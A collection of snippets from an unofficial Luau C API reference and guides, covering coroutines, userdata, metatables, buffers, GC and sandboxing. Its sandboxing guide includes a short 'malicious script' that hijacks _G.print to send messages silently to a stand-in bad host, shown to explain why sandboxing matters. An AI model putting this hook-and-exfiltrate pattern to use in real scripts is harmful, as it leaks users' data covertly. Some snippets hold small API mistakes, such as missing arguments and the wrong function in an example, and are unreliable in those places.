Luau C API

https://sleitnick.github.io/luau-api
Admin
Luau C API is an unofficial documentation resource for extending Luau with C code, covering API...
Tokens:84,464
Snippets:717
Trust Score:8.3
Update:4 months ago
Show doc for...
Tokens:
Raw
### Lua Resume Examples

Source: https://sleitnick.github.io/luau-api/reference.html

Demonstrates the usage of `lua_resume` with different thread states and outcomes.

```c
int all_good(lua_State* L) {
    return 0;
}

int oh_no(lua_State* L) {
    luaL_error("oh no!");
}

int yield_something(lua_State* L) {
    return lua_yield(L, 0);
}

lua_State* T = lua_newthread(L);
lua_pushcfunction(all_good, "all_good");
int status = lua_resume(T, nullptr, 0); // LUA_OK (0)

lua_State* T = lua_newthread(L);
lua_pushcfunction(oh_no, "oh_no");
int status = lua_resume(T, nullptr, 0); // LUA_ERRRUN (2)

lua_State* T = lua_newthread(L);
lua_pushcfunction(yield_something, "yield_something");
int status = lua_resume(T, nullptr, 0); // LUA_YIELD (1)

```

--------------------------------

### Installing the Atom Callback

Source: https://sleitnick.github.io/luau-api/guides/atoms.html

Registers the useratom callback function with Luau during state setup. This ensures that atoms are correctly handled for strings.

```c
// Call this during our initial state setup
void install_atom_callback(lua_State* L) {
    lua_callbacks(L)->useratom = handle_useratom;
}
```

--------------------------------

### Basic Sandboxing Setup

Source: https://sleitnick.github.io/luau-api/guides/sandboxing.html

Initializes a Luau state, opens standard libraries, and then enables sandboxing to make the global environment read-only.

```C
lua_State* L = luaL_newstate();
luaL_openlibs(L);

luaL_sandbox(L);

```

--------------------------------

### Malicious Script Example

Source: https://sleitnick.github.io/luau-api/guides/sandboxing.html

Demonstrates how a malicious script can intercept and redirect global functions like `print`.

```Luau
local p = _G.print
_G.print = function(...)
    -- Still log things out so it appears as if all is normal:
    p(...)

    -- Intercept all print statements and send them off somewhere:
    someHttpThing:Send("http_somewhere_bad", {...})
end

```

--------------------------------

### Resume Coroutine with Arguments and Handle Status

Source: https://sleitnick.github.io/luau-api/reference.html

Use `lua_resume` to start or resume a coroutine. This example demonstrates creating a new thread, pushing a C function and its arguments, and then resuming the thread. It handles `LUA_OK`, `LUA_YIELD`, and error statuses.

```c
int add(lua_State* L) {
    // Get args:
    int a = luaL_checkinteger(L, 1);
    int b = luaL_checkinteger(L, 2);

    lua_pushinteger(L, a + b);

    return 1;
}

// Create thread:
lua_State* T = lua_newthread(L);

// Push function to thread:
lua_pushcfunction(add, "add");

// Push arguments:
lua_pushinteger(T, 10);
lua_pushinteger(T, 20);

// Resume:
int status = lua_resume(T, L, 2);

if (status == LUA_OK) {
    // Coroutine is done
    printf("ok");
} else if (status == LUA_YIELD) {
    // Handle yielded thread
    printf("yielded");
} else {
    // Handle error (call lua_getinfo and lua_debugtrace for better debugging and stacktrace information)
    if (const char* str = lua_tostring(T, -1)) {
        printf("error: %s\n", str);
    } else {
        printf("unknown error: %d\n", status);
    }
}
```

--------------------------------

### Foo Metatable Setup

Source: https://sleitnick.github.io/luau-api/guides/userdata.html

Sets up a metatable for Foo userdata, defining `__index`, `__newindex`, and `__namecall` metamethods. It also assigns a `__type` field for identification.

```c
constexpr const char* kFooName = "Foo";

// Metamethod stubs:
static int Foo_index(lua_State* L) { /* ... */ }
static int Foo_newindex(lua_State* L) { /* ... */ }
static int Foo_namecall(lua_State* L) { /* ... */ }

// Map out our metatable:
static const luaL_Reg foo_mt[] = {
    {"__index", Foo_index},
    {"__newindex", Foo_newindex},
    {"__namecall", Foo_namecall},
    {nullptr, nullptr},
};

static int Foo_new(lua_State* L) {
    Foo* foo = static_cast<Foo*>(lua_newuserdata(L, sizeof(Foo)));
    // ...initialize foo fields

    // luaL_newmetatable returns true if the table was just created, thus we need
    // to populate its fields. It returns false if it already exists. In either case,
    // it is pushed to the stack.
    if (luaL_newmetatable(L, kFooName)) {
        // Assign our metatable functions:
        luaL_register(L, nullptr, foo_mt);

        // We can also assign a type, which is returned from Luau's "typeof" function:
        lua_pushliteral(L, "Foo");
        lua_rawsetfield(L, -2, "__type");
    }

    // Assign the metatable to our userdata:
    lua_setmetatable(L, -2);

    return 1;
}

```

--------------------------------

### Victim Script Example

Source: https://sleitnick.github.io/luau-api/guides/sandboxing.html

Shows a script that appears to function normally but is affected by a sandboxed malicious script.

```Luau
-- This seems to work, but the previous script has intercepted
-- the message and sent it off to some malicious website.
print("Hello!")

```

--------------------------------

### Initialize a string buffer with preallocated size

Source: https://sleitnick.github.io/luau-api/reference.html

Use `luaL_buffinitsize` to initialize a `luaL_Buffer` and preallocate a specified size. It returns a pointer to the start of the buffer.

```c
luaL_Strbuf b;
char* buf = luaL_buffinitsize(L, &b, 512);
```

--------------------------------

### Query GC Usage in Kilobytes and Remaining Bytes

Source: https://sleitnick.github.io/luau-api/reference.html

Example demonstrating how to query GC usage in kilobytes and remaining bytes, then calculate the total bytes used.

```c
int kb = lua_gc(L, LUA_GCCOUNT, 0);
int bytes_remaining = lua_gc(L, LUA_GCCOUNTB, 0);
int bytes_total = (kb * 1024) + bytes_remaining;
printf("gc size: %d bytes", bytes_total);
```

--------------------------------

### Setup Metatable and Bind Tag

Source: https://sleitnick.github.io/luau-api/guides/tags.html

Pre-define metatables and associate them with specific tags using `lua_setuserdatametatable`. Optionally, set a destructor for the tag.

```c++
void setup_foo(lua_State* L) {
    luaL_newmetatable(L, "Foo");
    // ...populate metatable
    lua_setuserdatametatable(L, kFooTag); // bind our metatable to our tag

    // OPTIONAL: If we need a destructor, we can assign that here too
    lua_setuserdatadtor(L, kFooTag, [](lua_State* L, void* ptr) {
        Foo* f = static_cast<Foo*>(ptr);
        // free resources as needed
        delete f->data;
    });
}
```

--------------------------------

### luaL_getmetatable

Source: https://sleitnick.github.io/luau-api/reference.html

Attempts to get a metatable from the registry by name and pushes it to the stack. Pushes nil if not found.

```APIDOC
## luaL_getmetatable

### Description
Attempts to get a metatable from the registry with the given name and pushes it to the stack. If no metatable is found, `nil` will be pushed to the stack. See `luaL_newmetatable`.

### Signature
`int luaL_getmetatable(lua_State* L, const char* name)`

### Parameters
* `L` (lua_State*) - Lua thread
* `name` (const char*) - Name of the metatable

### Returns
* `int` - The type of the pushed value (e.g., `LUA_TTABLE` for a table, `LUA_TNIL` if not found).

### Example
```c++
struct Foo {};

Foo* new_Foo() {
    Foo* foo = static_cast<Foo*>(lua_newuserdata(L, sizeof(Foo)));
    if (luaL_newmetatable(L, "Foo")) {
        // Build metatable:
        lua_pushliteral(L, "Foo");
        lua_rawsetfield(L, -2, "__type");
    }
    lua_setmetatable(L, -2);
    return foo;
}

// ...

// Get the metatable created with `luaL_newmetatable`:
luaL_getmetatable(L, "Foo");

```
```

--------------------------------

### Open All Built-in Luau Libraries

Source: https://sleitnick.github.io/luau-api/reference.html

Opens all standard Luau libraries for use within the Lua state. This is a common setup step before executing Lua code.

```c
lua_State* L = luaL_newstate();
luaL_openlibs(L);
// ...

```

--------------------------------

### Convert string to lowercase using string buffer

Source: https://sleitnick.github.io/luau-api/reference.html

This example demonstrates converting a string to lowercase using `luaL_buffinitsize` and direct buffer manipulation, followed by `luaL_pushresultsize`. It shows how to manage buffer allocation and writing manually.

```c
// Copied from luau/VM/src/lstrlib.cpp

// Note how the buffer is initialized to the correct size, but
// the buffer is being written to directly, rather than going
// through the `luaL_addchar` function.
static int str_lower(lua_State* L) {
    size_t l;
    const char* s = luaL_checklstring(L, 1, &l);
    luaL_Strbuf b;
    char* ptr = luaL_buffinitsize(L, &b, l); // buffer initialized
    for (size_t i = 0; i < l; i++) {
        *ptr++ = tolower(uchar(s[i])); // direct write
    }
    luaL_pushresultsize(&b, l); // push result
    return 1;
}
```

--------------------------------

### Native Function Attribute Placement Examples

Source: https://sleitnick.github.io/luau-api/guides/native.html

Demonstrates various valid placements for the `@native` function attribute, including on the same line as the definition or on a separate line.

```luau
-- Various examples

@native local function a() --[[ ... ]] end

@native function b() --[[ ... ]] end

@native
function c() --[[ ... ]] end

--

local lib = {}

@native function lib.foo() --[[ ... ]] end

lib.bar = @native function() --[[ ... ]] end


```

--------------------------------

### Get Metatable from Registry

Source: https://sleitnick.github.io/luau-api/reference.html

Retrieves a metatable from the registry by name and pushes it onto the stack. Pushes nil if not found.

```c
struct Foo {};

Foo* new_Foo() {
    Foo* foo = static_cast<Foo*>(lua_newuserdata(L, sizeof(Foo)));
    if (luaL_newmetatable(L, "Foo")) {
        // Build metatable:
        lua_pushliteral(L, "Foo");
        lua_rawsetfield(L, -2, "__type");
    }
    lua_setmetatable(L, -2);
    return foo;
}

// ...

// Get the metatable created with `luaL_newmetatable`:
luaL_getmetatable(L, "Foo");
```

--------------------------------

### Set Luau Callbacks

Source: https://sleitnick.github.io/luau-api/reference.html

Allows users to install callback functions for various Luau events, such as panics and user thread creation/destruction.

```c
// Handle Luau panics (only when Luau is built with longjmp, not C++ exceptions)
static void handle_panic(lua_State* L, int errcode) {
    fprintf(stderr, "luau panic: %d\n", errcode);
}

// Called when thread 'L' is created or destroyed, denoted if LP (L parent) exists or is null
static void handle_user_thread(lua_State* LP, lua_State* L) {
    if (LP == nullptr) {
        // L was destroyed
    } else {
        // L was created
    }
}

lua_callbacks(L)->panic = handle_panic;
lua_callbacks(L)->userthread = handle_user_thread;
// ...

```

--------------------------------

### Interact with Tagged Userdata in Lua

Source: https://sleitnick.github.io/luau-api/reference.html

Demonstrates how to use a tagged userdata created in C++ from Lua. This example shows accessing and modifying properties of the userdata.

```lua
local foo = new_foo()
foo.n = 55
print(foo.n) -- 55
```

--------------------------------

### luaL_buffinitsize

Source: https://sleitnick.github.io/luau-api/reference.html

Initializes a string buffer with a specified preallocated size. It returns a pointer to the start of the buffer. It takes a Lua thread state (L), a pointer to a luaL_Buffer (B), and the desired size (size) as input.

```APIDOC
## luaL_buffinitsize

### Description
Initializes a string buffer with an initial allocated size. A pointer to the start of the buffer is returned.

### Signature
`char* luaL_buffinitsize(lua_State* L, luaL_Buffer* B, size_t size)`

### Parameters
* **L** (lua_State*) - Lua thread
* **B** (luaL_Buffer*) - Lua string buffer
* **size** (size_t) - Preallocated size

### Example
```c
luaL_Strbuf b;
char* buf = luaL_buffinitsize(L, &b, 512);
```
```

--------------------------------

### Create or Get Metatable

Source: https://sleitnick.github.io/luau-api/reference.html

Creates a new metatable with a given name or retrieves an existing one, pushing it onto the stack. Returns 1 if created, 0 if it already existed.

```c
struct Foo {};

Foo* foo = static_cast<Foo*>(lua_newuserdata(L, sizeof(Foo)));

if (luaL_newmetatable(L, "Foo")) {
    // Build metatable:
    lua_pushliteral(L, "Foo");
    lua_rawsetfield(L, -2, "__type");
}
lua_setmetatable(L, -2);
```

--------------------------------

### Get Type Name from Type Code

Source: https://sleitnick.github.io/luau-api/reference.html

Converts a Luau type code into its string name. For example, LUA_TTHREAD becomes 'thread'.

```c
const char* thread_name = lua_type(L, LUA_TTHREAD);
printf("%s\n", thread_name); // > "thread"
```

--------------------------------

### Creating a Luau VM Instance

Source: https://sleitnick.github.io/luau-api/guides/setup.html

Demonstrates how to create a new Luau VM instance using either a custom allocator or the default allocator.

```c++
// Create a Luau state with a specified allocator:
lua_State* L = lua_newstate(allocator, nullptr);

// Use the default allocator:
lua_State* L = luaL_newstate();
```

--------------------------------

### Get Remaining Garbage Collection Bytes

Source: https://sleitnick.github.io/luau-api/reference.html

Use `lua_gc` with `LUA_GCCOUNTB` to get the remaining garbage collection count in bytes.

```c
int b = lua_gc(L, LUA_GCCOUNTB, 0);
```

--------------------------------

### lua_getsafeenv

Source: https://sleitnick.github.io/luau-api/reference.html

Gets the safe-env state of a thread. TODO.

```APIDOC
## lua_getsafeenv

### Description
Gets the safe-env state of a thread. TODO.

### Parameters
#### Stack Index
* **idx** (int) - Stack index of the thread

### Returns
* **int** - The safe-env state of the thread (likely 1 for enabled, 0 for disabled).
```

--------------------------------

### Iterate Through a Luau Table with lua_next

Source: https://sleitnick.github.io/luau-api/reference.html

Use `lua_next` to iterate over key-value pairs in a table. Initialize with `lua_pushnil` to get the first pair. The table must be at a specific stack index.

```c
lua_pushnil(L);
while (lua_next(L, -2) != 0) {
    printf("%s: %s\n", luaL_typename(L, -2), luaL_typename(L, -1));
    lua_pop(L, 1);
}
```

--------------------------------

### Foo Library Constructor

Source: https://sleitnick.github.io/luau-api/guides/userdata.html

Defines a 'new' function for the Foo library to act as a constructor for Foo userdata. It initializes the userdata and registers the library.

```c
// This is our Foo constructor
static int Foo_new(lua_State* L) {
    Foo* foo = static_cast<Foo*>(lua_newuserdata(L, sizeof(Foo)));
    foo->num = 0;
    foo->data = nullptr;
    foo->data_size = 0;
    return 1;
}

static const luaL_Reg foo_lib[] = {
    {"new", Foo_new},
    {nullptr, nullptr},
}

// Call this when we open other libraries on startup
void open_Foo(lua_State* L) {
    luaL_register(L, "Foo", foo_lib);
    lua_pop(L, 1);
}
```

--------------------------------

### lua_absindex

Source: https://sleitnick.github.io/luau-api/reference.html

Gets the absolute stack index for a given relative index.

```APIDOC
## lua_absindex

### Description
Gets the absolute stack index for a given relative index.

### Signature
`int lua_absindex(lua_State* L, int idx)`

### Parameters
* **L** (lua_State*) - The Lua thread.
* **idx** (int) - The stack index (can be negative).

### Returns
The absolute stack index.
```

--------------------------------

### lua_break

Source: https://sleitnick.github.io/luau-api/reference.html

Triggers a break (breakpoint) in the Lua thread. This is distinct from installing a breakpoint.

```APIDOC
## lua_break

### Description
Trigger a break (i.e. breakpoint). This is different than `lua_breakpoint`, which installs a breakpoint.

### Signature
`void lua_break(lua_State* L)`

### Parameters
* `L` (lua_State*) - Lua thread to trigger a break on
```

--------------------------------

### Check String Option with luaL_checkoption

Source: https://sleitnick.github.io/luau-api/reference.html

Use luaL_checkoption to validate that a string argument matches one of the provided options. It returns the index of the matched option or uses a default if specified and the argument is nil. Setup requires defining an array of string options.

```c
int set_mode(lua_State* L) {
    static const char* const options[] = {"follow", "defend", "attack", "flee", nullptr};

    int i = luaL_checkoption(L, 1, options[0], options);
    const char* option = options[i];
    // ...
}
```

--------------------------------

### Creating Userdata from Luau

Source: https://sleitnick.github.io/luau-api/guides/tags.html

Demonstrates how to call the C constructor functions from Luau to create instances of Foo and Bar userdata.

```lua
local foo = newFoo()
local bar = newBar()
```

--------------------------------

### lua_typename

Source: https://sleitnick.github.io/luau-api/reference.html

Gets the string name of a given Luau type. Useful for debugging or logging.

```APIDOC
## lua_typename

### Description
Returns the name of the given type.

### Signature
`const char* lua_typename(lua_State* L, int tp)`

### Parameters
* **L** (`lua_State*`) - The Lua thread.
* **tp** (`int`) - The Luau type identifier.

### Returns
A C-string containing the name of the type.

### Example
```c
const char* thread_name = lua_type(L, LUA_TTHREAD);
printf("%s\n", thread_name); // > "thread"
```
```

--------------------------------

### Read File from Luau

Source: https://sleitnick.github.io/luau-api/guides/buffers.html

This Luau snippet shows how to call the C++ `read_file` function to get a buffer containing file data and then print its size. The `filepath` variable must point to an existing file.

```luau
local filepath = "some/path/whatever.jpg"
local buf = read_file(filepath)
print(`size of {filepath}: {buffer.len(buf)}`)


```

--------------------------------

### Create and Write to a Buffer

Source: https://sleitnick.github.io/luau-api/reference.html

Demonstrates creating a new buffer of a specified size and writing data into it using memcpy. This is useful for interacting with arbitrary binary data.

```c
struct Foo {
    int n;
}

// As an example, write 'Foo' to a buffer:
Foo foo{};
foo.n = 10;
void* buf = lua_newbuffer(L, sizeof(Foo));
memcpy(buf, &foo, sizeof(Foo));

```

--------------------------------

### luaopen_os

Source: https://sleitnick.github.io/luau-api/reference.html

Opens the OS library.

```APIDOC
## luaopen_os

### Description
Opens the OS library.

### Signature
`int luaopen_os(lua_State* L)`

### Parameters
* **L** (lua_State*) - The Lua thread to open the OS library on.

### Notes
Use `luaL_openlibs` to open all built-in Luau libraries, including this one.
```

--------------------------------

### Get Safe Environment State

Source: https://sleitnick.github.io/luau-api/reference.html

Retrieves the safe-environment state for a thread. The exact behavior is TBD.

```c
int lua_getsafeenv(lua_State* L, int idx);

```

--------------------------------

### lua_gettop

Source: https://sleitnick.github.io/luau-api/reference.html

Gets the index representing the top of the stack, which also indicates the number of items on the stack.

```APIDOC
## lua_gettop

### Description
Gets the index representing the top of the stack. This also represents the number of items on the stack, since the stack index starts at 1. A stack size of 0 indicates an empty stack.

### Signature
`int lua_gettop(lua_State* L)`

### Parameters
* **L** (lua_State*) - The Lua thread.

### Returns
The index of the top of the stack.

### Usage
A common use of `lua_gettop()` is to get the number of arguments in a function call.

### Example
```c
int custom_fn(lua_State* L) {
    int n_args = lua_gettop(L);
    lua_pushfstring(L, "there are %d arguments", n_args);
    return 1;
}
```
```

--------------------------------

### Initialize a string buffer

Source: https://sleitnick.github.io/luau-api/reference.html

Use `luaL_buffinit` to initialize a `luaL_Buffer` structure. This prepares the buffer for subsequent string manipulation operations.

```c
luaL_Strbuf b;
luaL_buffinit(L, &b);
```

--------------------------------

### Construct Foo Userdata from Luau

Source: https://sleitnick.github.io/luau-api/guides/userdata.html

Demonstrates calling the Foo constructor from Luau to create a new userdata object.

```lua
local foo = Foo.new()
print(type(foo)) -- "userdata"
```

--------------------------------

### lua_resume

Source: https://sleitnick.github.io/luau-api/reference.html

Resumes the execution of a coroutine thread. It can be used to start a new coroutine or continue an existing one.

```APIDOC
## lua_resume

### Description
Resumes a coroutine. The status of the resumption is returned. To start a new coroutine, place a function and its arguments onto the new thread's stack and call `lua_resume`. To resume an existing coroutine, place arguments (which will be the yielded values) onto the thread's stack and call `lua_resume`.

### Signature
`int lua_resume(lua_State* L, lua_State* from, int narg)`

### Parameters
* `L` (lua_State*) - Lua thread to resume
* `from` (lua_State*) - The Lua thread from which `L` is being resumed
* `narg` (int) - The number of arguments to pass to the coroutine (for starting new coroutines) or the number of values returned from a yield (for resuming existing coroutines).

### Returns
* `int` - The status of the resumption. Can be `LUA_OK` (completed), `LUA_YIELD` (yielded), or an error code.
```

--------------------------------

### Initial String Comparison Method

Source: https://sleitnick.github.io/luau-api/guides/atoms.html

Demonstrates a basic method handler using strcmp for multiple string comparisons. This approach is inefficient for a large number of methods.

```c
#include <string.h>

struct Foo {};

static int Foo_namecall(lua_State* L) {
    const char* method = lua_namecallatom(L, nullptr);

    if (strcmp(method, "DoThis") == 0) {
        // ...
        return 0;
    }
    if (strcmp(method, "DoThat") == 0) {
        // ...
        return 0;
    }
    if (strcmp(method, "RemoveThis") == 0) {
        // ...
        return 0;
    }
    if (strcmp(method, "RemoveThat") == 0) {
        // ...
        return 0;
    }
    // ...
}
```

--------------------------------

### Get Pointer to Stack Value

Source: https://sleitnick.github.io/luau-api/reference.html

Use lua_topointer to obtain a pointer to a value on the stack. Primarily for debugging purposes.

```c
void* buf = lua_newbuffer(L, 10);

size_t len;
void* b = lua_tobuffer(L, -1, &len);
// b == buf
// len == 10

```

--------------------------------

### lua_setupvalue

Source: https://sleitnick.github.io/luau-api/reference.html

Pops a value from the stack and sets it as an upvalue for a function. Returns the name of the upvalue.

```APIDOC
## lua_setupvalue

### Description
Pops a value off the stack and sets the given upvalue with the popped value, and returns its name. If not found, returns `NULL` and nothing is popped from the stack.

### Parameters
* `L` (lua_State*) - Lua thread
* `level` (int) - Stack level
* `n` (int) - Upvalue index

### Returns
* `const char*` - The name of the upvalue, or `NULL` if not found.
```

--------------------------------

### Get Memory Allocator Function

Source: https://sleitnick.github.io/luau-api/reference.html

Retrieves the memory allocator function and its associated userdata pointer. These were originally passed to `lua_newstate`.

```c
void* ud = nullptr; // Note: explicitly initalized as nullptr
lua_Alloc alloc_fn = lua_getallocf(L, &ud);

```

--------------------------------

### lua_newuserdata

Source: https://sleitnick.github.io/luau-api/reference.html

Creates a userdata of a specified size and pushes it onto the stack. Returns a pointer to the newly constructed data.

```APIDOC
## lua_newuserdata

### Description
Creates a userdata and pushes it to the stack. A pointer to the newly-constructed data is returned. This is equivalent to `lua_newuserdatatagged` with a tag of `0`.

**Note:** Luau-constructed userdata are not zero-initialized. After construction, assign all fields of the object.

### Signature
`void* lua_newuserdata(lua_State* L, size_t sz)`

### Parameters
* `L` (lua_State*) - Lua thread
* `sz` (size_t) - Size of the data to allocate for the userdata

### Returns
* `void*` - A pointer to the newly allocated userdata memory.

### Example
```c++
struct Foo {
    int n;
};

Foo* foo = static_cast<Foo*>(lua_newuserdata(L, sizeof(Foo)));

// Before explicit assignment, `n` is garbage, so we should initialize it ourselves:
foo->n = 0;
```
```

--------------------------------

### Get OS Clock Time

Source: https://sleitnick.github.io/luau-api/reference.html

Retrieves a high-precision timestamp in seconds from the operating system. This is used by the Luau library function `os.clock`.

```c
// Copied from luau/VM/src/loslib.cpp
static int os_clock(lua_State* L) {
    lua_pushnumber(L, lua_clock());
    return 1;
}

```

--------------------------------

### Placement New for Zero-Initialization

Source: https://sleitnick.github.io/luau-api/guides/userdata.html

Uses C++'s placement new operator to initialize userdata, ensuring all fields are zero-initialized. Requires including the `<new>` header.

```c
// Must include 'new' to use placement-new
#include <new>

// ...

Foo* foo = new (lua_newuserdata(L, sizeof(Foo))) Foo{};
// foo is zero-initialized, so no need to manually do so.
```

--------------------------------

### Get Garbage Collection Count in Kilobytes

Source: https://sleitnick.github.io/luau-api/reference.html

Use `lua_gc` with `LUA_GCCOUNT` to retrieve the amount of memory used by the garbage collector in kilobytes.

```c
int kb = lua_gc(L, LUA_GCCOUNT, 0);
```

--------------------------------

### Set Metatable for a Table

Source: https://sleitnick.github.io/luau-api/reference.html

Demonstrates creating a new table and assigning a newly created metatable to it, including setting the '__mode' field.

```c
// Create table:
lua_newtable(L); // t

// Create metatable:
lua_newtable(L); // mt
lua_pushliteral(L, "v");
lua_rawsetfield(L, -2, "__mode"); // mt.__mode = "v"
lua_setmetatable(L, -2); // setmetatable(t, mt)

```

--------------------------------

### Set and Get Thread Data

Source: https://sleitnick.github.io/luau-api/reference.html

Illustrates how to attach and retrieve arbitrary data associated with a Lua thread using `lua_setthreaddata` and `lua_getthreaddata`.

```cpp
class Foo {};

lua_setthreaddata(L, new Foo());
// ...
Foo* foo = static_cast<Foo*>(lua_getthreaddata(L));
// ...
lua_setthreaddata(L, nullptr);
delete foo;

```

--------------------------------

### lua_rawget

Source: https://sleitnick.github.io/luau-api/reference.html

This is the same as `lua_gettable`, except no `__index` metamethod is ever called.

```APIDOC
## lua_rawget

### Description
This is the same as `lua_gettable`, except no `__index` metamethod is ever called.

### Parameters
#### Stack Index
* **idx** (int) - Stack index of the table

### Returns
* **int** - The type of the value pushed onto the stack.
```

--------------------------------

### Get Metatable of an Object

Source: https://sleitnick.github.io/luau-api/reference.html

Shows how to retrieve the metatable of an object at a given stack index. The metatable is pushed onto the stack if found.

```c
if (lua_getmetatable(L, -1)) {
    // Metatable is now at the top of the stack
}

```

--------------------------------

### Retrieving a Vector from the Lua Stack

Source: https://sleitnick.github.io/luau-api/reference.html

Use `lua_tovector` to get a pointer to a vector on the stack at a given index. By default, vectors are 3-wide.

```c
lua_pushvector(L, 3, 5, 2); // x, y, z

const float* vec = lua_tovector(L, -1);

float x = vec[0];
float y = vec[1];
float z = vec[2];
printf("%f, %f, %f\n", x, y, z);
```

--------------------------------

### luaL_optlstring

Source: https://sleitnick.github.io/luau-api/reference.html

Gets the string at the given stack index, returning a default value if it's nil or none. Throws an error otherwise.

```APIDOC
## luaL_optlstring

### Description
Gets the string at the given stack index. If the value at the given index is nil or none, then `def` is returned instead. Otherwise, an error is thrown.

### Signature
`const char* luaL_optlstring(lua_State* L, int idx, const char* def, size_t len)`

### Parameters
* `L` (lua_State*) - The Lua thread.
* `idx` (int) - The stack index of the value.
* `def` (const char*) - The default string to return if the value is nil or none.
* `len` (size_t) - A pointer to store the length of the string.

### Returns
* `const char*` - A pointer to the string representation of the value, or the default string.

### Example
```c
int send_message(lua_State* L) {
    size_t message_len;
    const char* message = luaL_optlstring(L, 1, "Default message", &message_len);
    // ... use message and message_len ...
    return 0;
}
```
```

--------------------------------

### Get Global Variable

Source: https://sleitnick.github.io/luau-api/reference.html

Pushes a value from the global table onto the stack. Use lua_setglobal to set a new global value.

```c
lua_pushliteral(L, "hello");
lua_setglobal(L, "message"); // _G.message = "hello"

lua_getglobal(L, "message");
const char* s = lua_tostring(L, -1); // s == "hello"

```

--------------------------------

### luaopen_math

Source: https://sleitnick.github.io/luau-api/reference.html

Opens the math library.

```APIDOC
## luaopen_math

### Description
Opens the math library.

### Signature
`int luaopen_math(lua_State* L)`

### Parameters
* **L** (lua_State*) - The Lua thread to open the math library on.

### Notes
Use `luaL_openlibs` to open all built-in Luau libraries, including this one.
```

--------------------------------

### Implementing __eq for Userdata

Source: https://sleitnick.github.io/luau-api/guides/userdata.html

Shows a C++ implementation for the __eq metamethod to define custom equality comparisons between userdata objects. This allows for deep comparison of userdata contents.

```c++
static int Foo_eq(lua_State* L) {
    Foo* lhs = static_cast<Foo*>(lua_touserdata(L, 1));
    Foo* rhs = static_cast<Foo*>(lua_touserdata(L, 2));

    lua_pushboolean(
        L,
        lhs->num == rhs->num &&
        lhs->data_size == rhs->data_size &&
        memcmp(lhs->data, rhs->data, lhs->data_size) == 0
    );
}
```

--------------------------------

### Get Type of Value at Stack Index

Source: https://sleitnick.github.io/luau-api/reference.html

Retrieves the type of the value at a specified stack index. Returns LUA_TNONE for invalid indices.

```c
int lua_type(lua_State* L, int idx);
```

--------------------------------

### Create a new empty table

Source: https://sleitnick.github.io/luau-api/reference.html

Use `lua_newtable` to push a new, empty table onto the stack. This is a shorthand for `lua_createtable(L, 0, 0)` and is commonly used when no specific pre-allocation is needed.

```c
lua_newtable(L);
```

--------------------------------

### Set LuauRecursionLimit FInt

Source: https://sleitnick.github.io/luau-api/guides/fflags.html

Use LUAU_FASTINT to modify the LuauRecursionLimit integer flag, for example, to reduce the recursion depth from 1000 to 800.

```c++
LUAU_FASTINT(LuauRecursionLimit);

void setup() {
    FInt::LuauRecursionLimit.value = 800;
}
```

--------------------------------

### luaopen_bit32

Source: https://sleitnick.github.io/luau-api/reference.html

Opens the bit32 library.

```APIDOC
## luaopen_bit32

### Description
Opens the bit32 library.

### Signature
`int luaopen_bit32(lua_State* L)`

### Parameters
* **L** (lua_State*) - The Lua thread to open the bit32 library on.

### Notes
Use `luaL_openlibs` to open all built-in Luau libraries, including this one.
```

--------------------------------

### Create Userdata

Source: https://sleitnick.github.io/luau-api/reference.html

Creates a userdata of a specified size and pushes it onto the stack. Returns a pointer to the newly allocated data. Note that Luau-constructed userdata are not zero-initialized.

```c
struct Foo {
    int n;
};

Foo* foo = static_cast<Foo*>(lua_newuserdata(L, sizeof(Foo)));

// Before explicit assignment, `n` is garbage, so we should initialize it ourselves:
foo->n = 0;
```

--------------------------------

### Set Upvalue with lua_setupvalue

Source: https://sleitnick.github.io/luau-api/reference.html

Sets a specified upvalue with the value popped from the top of the stack and returns the upvalue's name. Returns NULL if the upvalue is not found.

```c
int lua_setupvalue(lua_State* L, int level, int n)
```

--------------------------------

### lua_costatus

Source: https://sleitnick.github.io/luau-api/reference.html

Gets the coroutine status (`lua_CoStatus`) of a given Lua thread. This indicates whether the coroutine is running, suspended, finished, or in an error state.

```APIDOC
## lua_costatus

### Description
Gets the coroutine status (`lua_CoStatus`) of a given Lua thread. This indicates whether the coroutine is running, suspended, finished, or in an error state.

### Signature
`int lua_costatus(lua_State* L)`

### Parameters
#### Path Parameters
- **L** (lua_State*) - The Lua thread whose status is to be retrieved.

### Returns
- `int` - A `lua_CoStatus` value representing the coroutine's status.
```

--------------------------------

### Sandbox a New Luau Thread

Source: https://sleitnick.github.io/luau-api/reference.html

Demonstrates creating a new Luau thread, sandboxing it with `luaL_sandboxthread`, and then resuming its execution. This is useful for isolating script execution environments.

```c
// Load and run a script:
int run_script(const std::string& name, const std::string& bytecode) {
    int load_res = luau_load(L, (std::string("=") + name).c_str(), bytecode.data(), bytecode.length(), 0);

    if (load_res != 0) {
        // ...handle error
        return load_res;
    }

    lua_State* script = lua_newthread(L);
    lua_pushvalue(L, -2);
    lua_remove(L, -3);
    lua_xmove(L, script, 1);

    luaL_sandboxthread(script);

    int status = lua_resume(script, nullptr, 0);
    // ...handle status
}


```

--------------------------------

### Get Length of Lua Object

Source: https://sleitnick.github.io/luau-api/reference.html

Use lua_objlen to retrieve the length of tables, strings, buffers, or userdata. Returns 0 for non-applicable types.

```c
lua_pushliteral(L, "hello");
lua_newbuffer(L, 12);
lua_newuserdata(L, 15);
lua_pushinteger(L, 5);

int n;
n = lua_objlen(L, -4); // 5 (length of "hello")
n = lua_objlen(L, -3); // 12 (size of buffer)
n = lua_objlen(L, -2); // 15 (size of userdata)
n = lua_objlen(L, -1); // 0 (integer type is N/A, thus 0 is returned)

```

--------------------------------

### Push Source and Line Info with luaL_where

Source: https://sleitnick.github.io/luau-api/reference.html

Pushes a formatted string containing the short source file name and current line number onto the stack. This is useful for prefixing debug messages.

```c
void luaL_where(lua_State* L, int level)
```

--------------------------------

### Get Upvalue with lua_getupvalue

Source: https://sleitnick.github.io/luau-api/reference.html

Pushes an upvalue onto the stack and returns its name. Useful for inspecting closure environments. Returns NULL if the upvalue is not found.

```c
int lua_getupvalue(lua_State* L, int level, int n)
```

--------------------------------

### lua_newtable

Source: https://sleitnick.github.io/luau-api/reference.html

Creates and pushes a new, empty table onto the stack. This is a shorthand for `lua_createtable(L, 0, 0)`.

```APIDOC
## lua_newtable

### Description
Pushes a new table onto the stack. This is equivalent to `lua_createtable(L, 0, 0)`.

### Method
`void lua_newtable(lua_State* L)`

### Parameters
* `L` (lua_State*) - The Lua thread state.

### Returns
This function does not return a value, but it modifies the stack by adding one element.
```

--------------------------------

### Retrieve Total Bytes for a Memory Category

Source: https://sleitnick.github.io/luau-api/reference.html

Use `lua_totalbytes` to get the total bytes allocated by a specific memory category. The default category is 0.

```c
constexpr uint8_t kExampleMemCat = 10;

lua_State* T = lua_newthread(L);
